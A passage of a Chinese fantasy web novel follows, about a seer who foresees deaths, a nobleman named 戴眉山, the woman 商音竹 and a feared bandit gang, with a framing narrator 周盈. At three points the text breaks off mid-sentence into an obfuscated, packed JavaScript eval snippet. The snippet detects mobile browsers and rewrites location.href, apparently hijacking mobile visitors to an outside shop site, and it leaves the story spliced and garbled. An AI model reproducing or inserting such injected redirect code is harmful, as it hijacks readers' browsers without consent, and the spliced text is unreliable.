霍安看着那只手,手心里边儿似乎攥着什么东西,他又凑近看了看,确定那就是赦心玲!笑面书生要求他用之交换的赦心玲,抵得上一整个戴府财富的宝贝! 顾不得回味那句话,霍安着急要去撬开哪只手。 下一秒,门开了。 “喂,你在做什么?” 背后一凉,霍安猛地回头。 门口站了个人,他看不清她的脸,因为衣衫上的海棠花刺痛了他的眼睛。凉意沿着脊背一寸一寸爬到头顶,耳边一阵嗡鸣,那个声音一字一字跳出,清楚无比,简直像有个人凑在耳边宣判他的死刑——— “不要靠近绿衣女子。” 戴眉山跟在商音竹后面,探出头,看见霍安正拉着擅罪者的手,迟疑道:“霍兄?” 擅罪者的眼睛在听到这句话时猛然阖上。 商音竹走进屋,被着局面弄糊涂了,看了眼躺在床上的人,又看了眼霍安:“你抓住他的手干什么?” 闻言,霍安丢开烫手山芋似的把手一甩。 擅罪者道:“请帮我蒙上眼睛。” 戴眉山走到床前,捡起掉落在床榻的黑布,小心为他系上。正要开口询问霍安,擅罪者忽道:“你姓霍。” 戴眉山道:“他是霍叔的侄子。” 擅罪者尽力说得大声:“霍管家死了……你是问罪而来。” 霍安愣神中终于反应过来,然后猛地点头,磕绊道:“叔叔见了你便死,我怀疑……” 戴眉山见擅罪者开口困难,又想到他伤了心肺,实在不宜多言。连忙按住他,劝他不要再讲话。 帮他解释道:“霍叔是失足跌进河里过世的,与先生无关,霍兄若还存有疑虑,眉山会把前因后果尽数告知,不可为难先生。” “叔叔无故身亡,我实在不安,一时也没顾及先生还在养病。”霍安眉目一垂,脸上露出懊悔神色,见戴眉山没责怪的意思,又道,“府君既然回来,便劳烦府君了。” “你刚刚抓着他的手干嘛,问话就问话,他是病人,你是大夫?难道要给他把把脉?”商音竹忽道。 “这……”霍安一时想不到借口,他不敢与商音竹对视,目光不停躲闪,猝不及防撞上那身绿色华服。绿幽幽的海棠花好像长了眼睛,无数道审判的目光在他身上扫射,一瞬间,霍安只觉得全身皮肤都炸开了。 生死预言本就骇人听闻,更比不得家财万贯、金子银子来得实在。方才他不过是被擅罪者无端言语吓到了才会信以为真。毕竟这种不着边际的胡话,很快就会抛之脑后。 偏偏擅罪者口中的绿衣女子此刻就在他面前,衣衫上大朵大朵大海棠花,不是人间的生机,倒像死亡的召唤,对他敲着招魂铜锣…… 霍安吓得说不出半个字,灵魂几乎离体而去。 商音竹目光中审视的意味更重。 戴眉山见他面目慌张,擅罪者面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796377|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上黑布又解下,方才发生什么,也能猜到一二。而且擅罪者就在这里,若霍安真做了什么不利之事,他只需当面拆穿。略一思忖,安抚道:“霍叔只是意外落河,传言不可当真,霍兄不必惊慌。” 这话是说给霍安,也是暗示擅罪者。 听他话后,擅罪者没任何异样反应,倒是霍安频频点头,坐实了他的猜想。 商音竹收回眼神。 * 三人来到偏厅。 霍安嚯地站起来:“府君,你让我回乡?” 戴眉山道:“霍叔在外飘零多年,死后落叶归根也是他一直以来的心愿。” “可叔叔遗体还没找到,这……”霍安心中挣扎,眼神悄悄飘向商音竹。 见她要开口,又慌忙收回目光。 商音竹注意到他神色躲闪,不客气道:“你既然是他侄子,也该为他考虑考虑,迟迟不下葬,连个衣冠冢都不立,才是对死者不敬。” 霍安只好硬着头皮答应。 他神色忧虑,更透着几分惶惧,戴眉山以为是亲人伦常。便说:“霍叔遗体我会继续遣人寻找,死者为大,还是先让霍叔尽快安息为好。” 霍安道知事情再没商量的余地,横竖他也想赶紧逃离这绿衣女子,至于赦心铃……他阖上眼……还是顾全性命重要。 走出偏厅时,商音竹想起件事,道:“参加耆老会不是要什么拜帖吗,我现在就写给你。” 戴眉山第一次强迫自己不要笑得太过分,郑重其事地把她带到书房。 书房里有些暗,平时值守的小厮刚巧不在,戴眉山点上灯,递去张黄色封纸,便在旁边替她捧灯。 商音竹提笔写下:府君亲启。 见信封下有张空白信纸,想也不想,又写下“商音竹呈”四个字。还待写点什么,戴眉山见了,忙道:“足够了,这样就足够了。” 商音竹微微偏过头,问他:“真够了,年龄,籍贯什么的,便不需要了?” 灯光只照着商音竹一半的脸,另一半隐没在阴影之中,显得有些隐秘。她一开口,戴眉山就有些心虚,脑袋晕头转向的,最后老实地点点头道:“名字就够了。” 商音竹似乎察觉到什么,递给他拜帖的时候,忽冲他看了一眼。 戴眉山脸上一热,连忙别过头:“之后呢,商姑娘要往哪里去?”边说,边把油灯移开,他觉得这火有点烤人。 “去找阿枚。”顿了顿,说,“或者阿枚来找我。” “阿枚……”戴眉山有些局促不安,“阿枚是谁?”他脸烧得更烫了。 商音竹坐在椅子上,抬起头看他,火光里的戴眉山格外好看。她于是笑了笑:“阿枚是我最好的朋友,总有一天她会来找我的。” 戴眉山十分窘迫,意识到这话问得唐突了。感受到她的目光,既不敢拿眼睛往她,也不知道怎样开口。 空气逐渐凝固。 商音竹突然道:“你真好看。” 戴眉山脑子嗡地一下,感觉五脏六腑如火在烧,脑子一片空白,不知要如何接话。他略略松开手上信纸,心神未定:“姑娘说什么?” 商音竹疑惑地看着他:“我夸你好看呢。”她想起有趣的事,就说,“在山上,那些土匪不认得你,不就说长得最俊的是戴眉山。” 戴眉山脸更红,由心道:“姑娘也是。” “哈哈哈哈。”商音竹眼睛笑成了弯月,颇为自得,“阿枚也这样说。” “阿枚是……”他想问阿枚是谁,准确说想问阿枚是男是女,话都要冲口而出,反应过来,忽地改口,“是哪字,那姑娘的名字是那个字?” 说着,焦急得等商音竹回答,又怕她直接纠正自己的问题。 幸好商音竹没这样做,她道:“你想认识阿枚?” 戴眉山长舒一口气,说:“不知是否有缘结识。” 商音竹摇摇头:“不行,阿枚可不喜欢书生。”语气却有些调皮。 “为何?” “阿枚说,负心多是读书人,书生是最靠不住的。”商音竹道,“不过她没看见你,要是认识你,她就知道了。” 戴眉山道:“阿枚姑娘何出此言?” “想是呆书读多了。”商音竹随口一说。 想起有趣的事,来了兴致,对他眨眨眼:“你猜,阿枚最讨厌书生哪点?” 戴眉山摇头。 “阿枚说,书生去幽会,连墙都不会翻,可见不可靠。” 听见只是随意的调笑话,戴眉山终于松了口气。 45. 苍山雪(九) 次日卯正,商音竹与戴眉山一同将霍安送到城门口。麦城路途遥远,沿途常有匪盗出没,戴眉山派车骑并十二个护卫护送霍安送葬回乡。 不经意间,听见有些细碎的谣言在城中传开。 这些谣言千奇百怪,听了让人叹为观止。但即便是捕风捉影,影子里也晃出几分真实,譬如所有讹闻与生死相关,并且都指向同一人——擅罪者。 戴眉山听到这些闲话,无奈之余只能叹气。 有关擅罪者的一切他知道的太少,熟悉的却又恰好应证了谣言。 送行队伍在城门口停下,戴眉山止了步,道:“霍兄,此行当一帆风顺,他日我经过麦城必当为霍叔扫墓上香。” 霍安恋恋不舍往会稽城内看去,城里人歇息得早,起得也早,街上已有了叫卖声,富庶的戴府已经瞧不见了。 送行的侍卫开口催促:“府君该走了,再不走,天黑走不进城,恐怕会有意外。” 霍安又看了眼会稽城,终于驾车远去。 戴眉山看着远行的车马,尚存疑虑:“莫不是我真的冤枉了他?” “没看到最后便不要先下结论。”商音竹道,“人要杀你,你命可只有一条。” “姑娘说的是。”戴眉山看着她,脸上浮出笑意。 “你回去,我跟上。”车马人影快消失,商音竹觉得时间差不多了,说,“先说好,要是他老实我也不会与他为难,要是使诡计,可不会让他好过。” 这边暂且告一段落,戴府里还有丧事要处理。之后,就是耆老会了。说到耆老会,戴眉山已经命人张罗起来,但这回来的人似乎比往年多了些,刚才一路走来,听人说,客栈都已经住满了好几家。 但他无暇顾及这么多,商音竹一离开,他便赶回戴府,还没走到正堂,就听小厮急匆匆来报:“府君,不好了,严枫死了!” 戴眉山脸色大变,顿了一下,快步走去:“怎么死的?” “吊死的,就在府君离开没多久。” 戴眉山入内一看,果见严枫躺在床上已经断了气,脖子上还有乌紫的勒痕。孙大夫查了尸身,指着撕成碎条的被单:“是自己吊死的,没人害他。” 说着,叹了口气:“早半刻发现还有救。” 戴眉山听着脑中一顿昏乱,讷讷问道:“他可留下什么话?” 孙大夫直摇头。 “他故意等你走才吊死的。” “要说什么,早就已经告诉过你了。” 戴眉山在混乱的意识中疯狂搜寻,严枫死前的交代,不就是那日他从山上回来,问严枫是否要见见他的妻儿。严枫没有去,只希望他帮忙把妻儿埋在会稽城。 严枫说,千万别送回山上了。 戴眉山心里只有一个念头,早在擅罪者上山的时候是不是就已经知道严枫的死局。如果自己多嘴问一句,早一点回来,拦住他,他是不是就不会死了? 戴眉山越想越怕,白着一张脸,拔腿就走。 孙大夫见他神色不对,连声喊住:“喂喂喂!你可别也想不开。” 戴眉山已经一阵风似的跑开,他只好追上去:“你做什么?” 见他穿过海棠园子,忽地明白过来:“你要去找那神棍。” “严枫已经找过他了。” 戴眉山戛然而止,回头道:“什么时候?” “霍安找他之前。” “你可别怪我没告诉你。”孙大夫连忙解释,“我也是后面才知道的,也被吓了一跳。” 而且,这几日戴眉山忙进忙出,根本找不到机会和他说话。 “还有。”孙大夫挣扎了一会儿,还是告诉他实情,“擅罪者活不了多久。” “什么!”戴眉山这次真的被吓到了,脸都变了色,“是因为严枫?” 也不怪他这样想,严枫一直以为自己妻儿的死与擅罪者脱不开关系,死前特意去找他,怎么肯轻易放过他。 “不是,与严枫无关。”他猛地停了一下,觉得这样说也不对,擅罪者伤得下不了床,不就是拜严枫所赐? 他纠正道:“严枫这次没对他下手,是他受伤太重,根本熬不过去。” “伤太重?”戴眉山语带疑问。孙大夫不是已经稳住他病情了吗,近两日甚至能开口说话,现在怎么又说伤太重? “神仙难救无命人。”孙大夫一脸沉痛,“给他治病的时候就发现他之前就受过伤。” “而且是重伤。”孙大夫打开手,在自己胸前比划了一下,“身上全是伤口,肚子也被捅穿过好几次。” “手臂。”他比了比自己的肩膀,“左臂差不多废了。” 戴眉山神色凝重:“怎会如此?” 孙大夫难得露出同情的情绪,虽然他是个大夫:“他能预见生死,每次告诉别人,那些人不会承他的情,人要是死了,也只以为是他害的。” 戴眉山亲眼见过死者亲属的疯狂,只觉心口一窒,闷闷地说不上话。 周盈脑子里也浮现一句话:好心不得好报。 好一会儿,戴眉山才开口:“难道就没救回过一次?” 孙大夫摇着脑袋:“神仙难救无命人,他是,他们也是。” 严枫自然也是。 “那他为何要这样做,明明知道救不了人,明明知道自己也要受连累,不惜赔上性命,他为什么,到底为什么?” “他在尝试。” “尝试?” “救活一个就够了。” “做了尚有一线生机,要是置之不理,就只有死路一条。” 脑海一阵翻腾,戴眉山只觉无限悲哀,孙大夫是郎中,可他救不了擅罪者,擅罪者看得见生死,可到了最后也只剩眼睁睁看着他们去送死。 生死太过残忍,人们无计可施,却又不愿束手就擒。 戴眉山觉得自己必须做点什么,他问:“那你为何不早点告诉我?” “是他不愿意说。” “为什么?” “耆老会。” 戴眉山一怔,以沙漏为喻,事情历历在目。 擅罪者说,他要看人。 “站在更高的楼上,看更多的人。” 他忽然明白擅罪者始终蒙住眼睛的缘由。有时候知道比不知道还要残忍。 不知道,或许被迫束手就戮。 知道了,却只能眼睁睁看着别人赴死,看着那些认识的、不认识的一步步走向死亡。 戴眉山只觉心中揪痛。 “严枫找他做什么?” “道歉。” “道歉?”戴眉山重复道。 “他这事儿做得可恶。”孙大夫忍不住叹气,“但他不蠢,只是一时被冲昏了头脑,事后就自己想清楚了。” 孙大夫特意跑去看过严枫妻儿尸身,死相实在太惨,连他都不禁动容。严枫看见,怎么可能不疯。 “但他这一疯也害了人。”孙大夫重重叹了气,“所以他只能死。” 戴眉山也不知道还能说什么。 “走吧,你不是要找人吗?”孙大夫突然笑了一下,“在他眼里,我们也是死路一条。” “不晓得我是怎么个死法,希望死得舒服点吧。”孙大夫自嘲道。 * 擅罪者躺在床上,有一口没一口地喘着气,他面容平静,平静得让人感受不到气息,仿佛正静静等待死亡降临。 戴眉山唤了他一声。 “是府君。”擅罪者听出声音,回应他。 戴眉山知道他在受苦。 忍不住道:“你会后悔吗?” “后悔?” 擅罪者咧开嘴角,似乎想笑,但他因为受伤,笑得很勉强。 “为什么?”擅罪者反问。 “你不能活了。” 擅罪者终于笑出声,笑得十分勉强。他咳了一下,好像这就能减缓他的疼痛。 很多人都畏惧死亡,他们不一定畏惧死亡本身,因为未经历死亡的人根本无法知道死亡是怎样一种感受。 比之死亡,他们更怕死亡带来的空虚。那是一种可以遇见的恐惧,亲人、朋友、万贯家财,死后通通化为乌有。死亡之前往往会伴随着□□的折磨,这种痛苦人世皆知。 可这世界上没有人能体会他这种痛苦。 对他来说活着,便是煎熬。 严枫也是这样,但严枫死了,也解脱了。而他…… 他笑了一下,说:“府君问过我一个问题。” 他说得满头大汗,戴眉山只好凑近一些,希望他少费些力。 擅罪者感受到他的接近,声音却未有分毫压低,好像故意说给什么人听似的:“府君曾问我的年龄。” 周盈也记起来了。 就在擅罪者来的那个早上,他说他要参与耆老会,不是像一般人一样只在外面看个热闹,而是在耆老会有一席之地。参与耆老会一个条件是必须年满八十,所以按照惯例,戴眉山问了他的年龄。 当时他的回答是“不记得了。” 现在戴眉山才知道他不是不愿意说,而是真的不记得了。可是他为什么会连自己的年纪都忘记,戴眉山不知道。 “我活得太久了……太久了……” “所有我认识的都先我死去。哪怕是……哪怕是只有一面之缘的人……我都会预知他们的死亡……” “我很孤独。” “我在找一个和我一样的人。” 声音平静而孤独,如死前的独白,但是正如他所说,认识的人都死了,这些话说现在说出来,到最后能记住的只有自己而已。 所有人…… 所有人都将死去…… 除了恶鬼。 擅罪者悲哀地想。 “你找到了吗?”戴眉山问他。 “没有。” “但你终于要死了。”戴眉山道。 “我要死了。”擅罪者只是重复。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796378|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你要找谁?”戴眉山说,“我帮你。” 擅罪者摇头。 “这只眼睛。”擅罪者捂住自己的左眼,“因为它,我能看到你们……你们的死期。” “但是我无法看到我的……所以,那个人我也看不到。” “那个人也会这样痛苦吗?”戴眉山问。 “不知道。”擅罪者道,“我还没遇见他。” 对于“他”但定义戴眉山并不太清楚,只是隐隐知道与生命的长短有关。擅罪者活了很久,但是修者不也能活很久?或许他活得比那些修者还要久一些,也许是很多……… 但他终于要解脱了。 这几天死了很多人,戴眉山终于有一次不用觉得惋惜。 “你能帮我个忙吗?” “你想知道这个?”擅罪者指了指自己的左眼。 戴眉山点点头,然后帮他取下了面上的黑布。擅罪者看着他,有一瞬的恍神,最后终于笑了。 * 棺材铺掌柜再次看见戴眉山大驾光临时,挤出别扭的微笑:“府君上小店有何贵干?” 旁边的小厮比出个“二” 棺材铺掌柜扯着嘴角:“两个?”难道这会稽城里又死人了,说到这里,他猛地一惊,这两日的传言…… 他直摇头,太过玄乎了,可……… 他迅速回过神来,看见戴府小厮捧出两大把银钱,这些钱,刚好能买两幅铺子里最好的棺材。 * 一切置办妥当,接下来得将棺木送去城西下葬。 戴府位于城东,要去城西,动作快些,也得走半个时辰。 没想到送葬的队伍才刚出府便引起轰动。 人群聚在一起,分不清是游人还是会稽城住民,你看我,我看你,流言夹杂着各种口音的议论声传进送葬队伍。 “听说没,府君的客人看一眼就能知道你什么时候死。” “这么玄乎,前几日不是才听说他要死了。” 那人小声接道:“没死呢,在府里养着呢。”他悄悄看了眼戴眉山,“府君不准议论,但听说霍管家、猎户一家的死都被他提前瞧出了。” “传言,传言而已。” “什么传言!谢家酒铺老板都说了,不然,霍管家怎会跌进河里!” “…………” “哎,”那人一脸苦相,“别说了,要真看出了,提醒一句,他们怎会逃不过一死。” “府里还摆着个棺材呢,也不知是给谁的……” 传言靠谱与否从未有人站出来一锤定音,但这不妨碍不少人相信会稽城来了个活佛,即便不以为然的,也愿意被他看一眼,亲自试试真假。 于是,传言从城东扯到城西,队伍后面跟着的长队,逐渐组成了颇为壮观的送葬队伍。 上次见到这种场景,还是老府君过世的时候。只不过老府君过世,旁人受他恩惠,自愿跟随,便是没得过他好处的,感念他名声,也愿意送一送。今天严枫一家入土,却是伴着无关者的闲言碎语。 尾巴越拖越长,队伍被迫越走越慢。前方人海如山,戴眉山只好叫人先行分散夹道人群。 幸好这些人只为着好奇,没有什么坏心肠,戴府护卫跑上一轮,高声呼唤几句,人流很快分作两拨,空出一条供送葬队过路的宽道。 然而,离城西墓地还有两公里时,本已经低下去的人声忽又蹿高,许多人围在一起,再次拦住送葬队伍。 戴眉山即刻遣人去探查。 回来的人禀报:“府君,有人躺在路中。” “为何不让他离开。” 小厮面露难色:“那人似乎已经……” 喧闹的人声立时把声音盖过。戴眉山正疑惑着,人群中忽传来一声:“死人了!死人了!” 拥挤的人群开始推搡不止,跟在送葬队的人群中也有人开始往前凑,队伍出现了异动。 戴眉山高声喝止,让人群不要聚在一起,以免出现踩踏。见那些人不听,只好叫送葬的府丁强硬驱散人群。 然后,戴眉山自己下了马。 这里面有许多人第一次见他,但知道他是戴府府君,便自觉从他身边分出个小道。戴眉山往人群聚集处走去,没走几步,只见个中年男子斜斜躺在路中央。 戴府小厮拿根棍子,上前胡乱一拨,那人完全没反应。戴眉山凑近一看,不见流血,也不见身上有伤痕。待他再想细看时,那人身上突然腾起一阵轻烟,皮肉、毛发、连着骨头都迅速消弥。 人群顿起一阵惊呼。 此时,旋起一阵怪风,忽地把烟雾吹散了。 再一看,人已经消失得无影无踪! 奇怪的是,大路中央还有一堆衣服,从头到脚,衣裤鞋袜,一个不落。 戴眉山脸色惊变,那日在船上,商音竹也打捞起成套的衣物。而衣服主人,却死活找不到。 没想到送葬这日,大庭广众之下又死了个人。 46. 苍山雪(十) “府君,不好了!”一进门,商音竹还没说话,霍安便抢先开口。说话时,神色仓皇,似受了不小的惊吓。 商音竹回头看了他一眼,对他插嘴的行为表示不悦。果然,她一眼扫来,霍安就老实闭了嘴。 商音竹这才正色道:“有人拦路。” 她把离开会稽城后的事情一一道来,只是把跟踪改为“路过”。但如何“路过”,没人问她,她自然也不用刻意解释。 她说:“我离开会稽城,没走多久就看到两队人马在争执,凑近一看,其中一队正好是送霍管家归乡的人马。” “对方领头的,是个书生。” “书生?”戴眉山好不容易才把严枫一家三口下葬,连口茶都还没喝上,这下又狠狠吃了一惊,“是那背后之人!” “这个书生可不是简单。”商音竹难得露出凝重的神色,“是笑面书生。” “笑面书生……”戴眉山觉得这个名字有些熟悉,一时又想不起。 “是玄冥帮。”商音竹道。 戴眉山久居会稽城,不理外事,对笑面书生了解不多,但玄冥帮的大名可是如雷贯耳—— 也可说是臭名昭著! 不同于流匪与一帮乌合之众组成的匪团,玄冥帮依附罗刹海,多少有些武功根底,别说寻常百姓,即便是嚣张跋扈的匪徒、恶盗,也对他们避之不及。 这群恶徒四处劫掠,见钱就抢,尤爱“刮地皮”。 所谓刮地皮,其实是种劫掠财宝的狠辣手段,不过扯上玄冥帮,不免带着浓厚的血腥意味。 具体说来,玄冥帮一旦盯上座孤城,通常先把城门堵死,派人守住所有可能的逃生通道,彻底断绝城内外联系。 第一天,他们三五成群地挨家挨户打劫,金银细软全部搜刮一干二净。第二天,就会上些硬手段,打死打残一概不计,死活得榨出点油水。到了第三天,百姓几乎也拿不出什么值钱玩意儿,但他们也绝不就此放过。便是鸡圈里摸,猪圈里掏,有层皮也要给他扒下来。到了第四天,第五天,便是以杀人为戏了。走前还要放把火全烧了。 手段凶狠,行事残毒,玄冥帮也得了个“雁过拔毛”之称。 就这样一群穷凶极恶之徒,偏有罗刹海当靠山,帮主盗指玄冥距真正的修者仅差半步——世人称半步修者,更练有一招阴毒无比的玄冥指,一般人拿他们根本没办法。 听到玄冥帮三个字,戴眉山就知道这件事不是一个他、一个戴府这么简单的,搞不好连会稽城都已经被盯上。 而等待他们的………那两字让戴眉山喉咙发紧,有这么一瞬间,他呼吸几近停滞,身子不受控制地颤抖了一下。 “眉山?”察觉他不对劲,商音竹唤了一声。 戴眉山深吸一口气,定了定神,问:“有盗指玄冥的消息没?” “没听说。”走了半日,渴得不行,这时商音竹捧着茶杯,边喝边说,“不过笑面书生是他的狗,狗叫唤得怎么凶,人肯定不远。” 她袖口沾了点血,平时不好看清楚,喝茶时把手一抬,才暴露无遗。 戴眉山正想唤人给她添点茶水,忽看到她袖口的血,耳边一嗡,从凳子上跳起来:“你受伤了!” “没,笑面书生是只纸老虎。”商音竹面有愧色,“但我没想到他会放阴招,我没事,但你的人受伤了。” 正说着,孙大夫已经背着药箱走进来。 放下药箱,才说:“放心,人没死。” 听到人还活着,商音竹不经意松了口气。她要擒下笑面书生时,那狗东西故意让她分心,扇子一歪,胡乱射中了躲在马车后面的侍卫。 分明只是几只牛毛细的针,没想到上面喂了毒。侍卫当即被射倒一片,马也被弄趴下了两匹。 可气的是,等她给人止住毒气,笑面书生居然跑了。 越想越觉得不痛快,商音竹猛喝两壶茶,问他:“那是什么毒?” “百叶竹。”孙大夫见多识广,两眼就看出端倪,“这种毒草一枝生有百叶,越往上面的毒性越强,他们中的虽是最底端的毒,也有苦头吃了。” 闻言,商音竹冷哼一声,显然对这种伎俩十分反感。 想了想,又问:“买通匪帮截杀你的必定是笑面书生,牵扯到他主子这事儿没这么简单,你有头绪没?” 戴眉山也是一头雾水,二十多年来他几乎没怎么离开会稽城,祖上几代也都是读书人,更从未与人结仇,笑面书生没理由针对他。 再者,对付他,根本没必要如此大费周章。 孙大夫也明白事情严重:“别人也就算了,笑面书生可是盗指玄冥看门狗,惹上他和惹上盗指玄冥没什么两样。” “盗指玄冥、赤狐、罗刹海。”说着,竟掰上手指头:“别说是你,公室想对他们动手都得先想想清楚。” 戴眉山脸一白:“不好,耆老会不能在这个时候开。” “玄冥帮要是挑在这个时候找上门……若是屠城……” 孙大夫脸色一变:“来不及!” “会期将近,现在传出消息说取消根本来不及,而且有件事情十分反常。”孙大夫在定居会稽城之前也是见过大风大浪的,直觉比戴眉山灵敏,他一脸严肃,“分明城中发生了好几条不明不白的命案,那些人脑子估计有点毛病,不但不忌讳,反倒一股脑儿地挤上来,你要怎么拦?” 戴眉山左右为难,只好先放出休会的消息。 没想到消息刚出,立刻有人跳出来反对,还聚集了一堆人马在戴府门前敲锣打鼓,大喊抗议,嚷嚷着必须要擅罪者参加。 孙大夫听得直跺脚,霍安更是心惊胆战,玄冥帮来不来与他无关,但现在无论如何却都走不了了。 他忌惮擅罪者的预言,戴府万贯家财也不敢想了,巴不得离商音竹越远越好。 没想到笑面书生不肯罢休,居然半路拦人,他又不能当众承认与玄冥帮勾结,几番纠结,又灰溜溜跟着回来。 “这样闹腾也不是办法。”孙大夫大腿一拍,提议道,“不如去问问那神棍,他既能判定生死,不如叫他看看。” 孙大夫素来不喜这些神神叨叨的,原是不相信,后面虽知可信,也不想被它束缚手脚。现在,玄冥帮压在头上,外面又闹翻天,让擅罪者提前看看,耆老会究竟开得开不得也就知道了。 * 擅罪者躺在床上,静静听着。 良久,喘了口气,缓缓道:“府君。耆老会……我会如期参加。” 戴眉山还没说话,孙大夫又跳了起来,呵道:“你疯了!” 他骂得唾沫横飞:“耆老会来了多少人,你要他们一起死在玄冥帮手上吗?” “玄冥帮不会杀他们。”擅罪者说得吃力,“盗指玄冥也不会在耆老会上动手。” “为什么?”孙大夫惊道,“你又……又看见什么?” 擅罪者摇摇头,只道:“耆老会能安然度过去。” 孙大夫将信将疑,却不再多问。商音竹早瞧出端倪,问他:“盗指玄冥为何会盯上会稽城?” 诸所周知,盗指玄冥这种级别的大盗,寻常银钱财宝根本入不了他的眼,每次他亲自出手,必得是罕世宝物。玄冥帮作恶虽打着他的旗号,但他本人却从不亲自动手。 试想,这小小的会稽城又有什么宝贝值得他惦记? 众人皆一惊,霍安盯着擅罪者手上的铃铛,孙大夫直接对上了他缠着黑布的眼睛。戴眉山面不改色,问:“先生认识盗指玄冥?” 显然,他们都认为玄冥帮的出现与擅罪者脱不开干系。 “不认识。”擅罪者实话实话,“不过与赤狐有过几面的缘分。” 商音竹听出他话里意思:“你是说,盗指玄冥是受赤狐驱使?” 擅罪者点点头,说:“我手上有赤狐的东西。” “那他为何要杀眉山?”商音竹道,“你把话说清楚……嗯……可以说慢些。” 听到商音竹这句话,擅罪者明显迟疑了一下,他道:“他杀不死府君,府君在会稽城会很安全。” 然而,谈及其他,他却始终一字不说。 戴眉山道:“先生若改变主意,眉山可派人送先生出城。” 商音竹点点头:“如果他们真是冲你而来,你待在这里的确不安全。” 至于耆老会,人都跑了,他们还能怎样? 擅罪者却道:“不必担心,我会去。” 孙大夫又跳脚:“嫌自己命长?非要赶着送死!” “耆老会一开,他们会问你什么,你自己不清楚?现在城里人心浮动,很明显有人在散播谣言——也不算谣言。”孙大夫咬牙,不悦道,“长命百岁的又有几个,你要一张口就说人家要死,人家能轻饶你?” 孙大夫睨了他一眼,意思是看看你这身伤是怎么来的?但他没说,心知肚明的事,戳穿了也没什么用。 戴眉山显然更加心平气和,问他:“先生果真要去?” 擅罪者点点头。 “府君还记得我说过的吗,死前,我还想看得更多。” “然后带进坟墓?”孙大夫讽刺道。 画面定格在这里。 * 擅罪者的预言没错,最后一届耆老会虽闹出不少的乱子,却无不相干的百姓因此丢了性命。玄冥帮也没对会稽城出手,城里面原有的八万住民,外来的六万人,共十四万余人,都安然度过耆老会。 因为,会稽城真正动乱是在那一年年末。 戴眉山、商音竹以及擅罪者从此消失。 当年究竟发生了什么?周盈此时一想,觉得这事极有可能与玲珑骨扯不开关系。 一开始的想法渐渐被推翻。 严枫上吊自尽,眼前屋里的老者肯定不会是他。风烛残年,连自己的名字都不记得了,却一直唤着商音竹。 甚至还记得二人当年关于阿枚的对话。 老者的身份昭然若揭……一百多年了,周盈阖目,她亦不敢相信,戴眉山竟然还活着! 当戴眉山站在床前,解下黑布,二人对视之时,擅罪者笑了一下,他究竟看到了什么? 不远处,“赤狐”对着赦心铃一阵沉思,忽地,他将魔掌伸向了老者。 周盈暗道不妙,难道戴眉山最后要死在他手上! 身子几乎要冲出去时,屋外传来一声极其响亮的吆喝:“买酒——鉴湖酒了——” “卖酒——” 紧蹙的眉头不觉一松,听到这声吆喝,戴眉山缓缓睁开眼睛。 与此同时,“赤狐”如临大敌,警惕而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796379|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仓皇地冲外面看了一眼,然后直奔内屋。 见他冲进来,周盈正琢磨着给他吃个阴招,掌上正攥着力呢。忽然,只觉一阵强力从左臂传来,还不及反应,就被海若渊连拖带拽拉到了屋外。 地上积雪厚而实,人落到上面会留下脚步却不会发出明显的声响。 周盈对他不打招呼就把人拽走的行为早有不满,正想狠狠瞪他一眼,脑袋转了半圈,忽然注意到雪地里有一样东西十分突兀。 那东西四四方方的,只比膝盖高出一截,通体上下盖了一层厚厚积雪,一时看不出名堂。 周盈正要伸手拂去上边儿积雪,左肩忽被人一点。 瞪了海若渊一眼,她只好放下好奇心,把视线拉回屋内。 也许是做了亏心事怕人发现,见屋里有个木箱,“赤狐”想也不想,轻轻撩开箱盖,迅速缩了进去。 戴眉山耳目失敏,自然无法注意到这样细微的响声。周盈灵机一动,跨过窗台,绕到箱子边,在上面使了个封决,然后又轻步跃到门边偷听。 此时,戴眉山走出屋子,正与来人交谈。 第一眼是个男人—— 穿着实在潦草,粗布棉衣,不算厚的布鞋打满补丁,头顶还戴了个灰扑扑的绒线帽子。帽檐宽大,刚好把脸遮住。 脚边还放了两坛酒并一个长扁担。 酒坛与戴眉山屋子里形制如出一辙,不难判断戴眉山的酒就是从此人手上买的。 明白这点,周盈心里极快闪过一丝异样—— 因一场风雪,往鉴湖取水极其困难,鉴湖酒的买卖更是吃力不讨好,而且既要做生意,为何一次只挑这小小的两坛酒? 强行压下这股疑虑,周盈正想多看几眼。 然而,二人却没有继续攀谈的意思。戴眉山仅仅与来人打了个招呼,然后早有准备似的摸出一枚小小的碎银。那买酒郎得了钱,冲他点了点头,一字不说,很快便提着扁担离开。 看戴眉山的反应,这似乎已经形成一种习惯。 可想而知,这人每隔一段时间就会从他屋前经过,并且将挑来的两坛酒卖给他。周盈不由得想,鉴湖边上的小屋,屋子里面不也装了许多鉴湖酒? 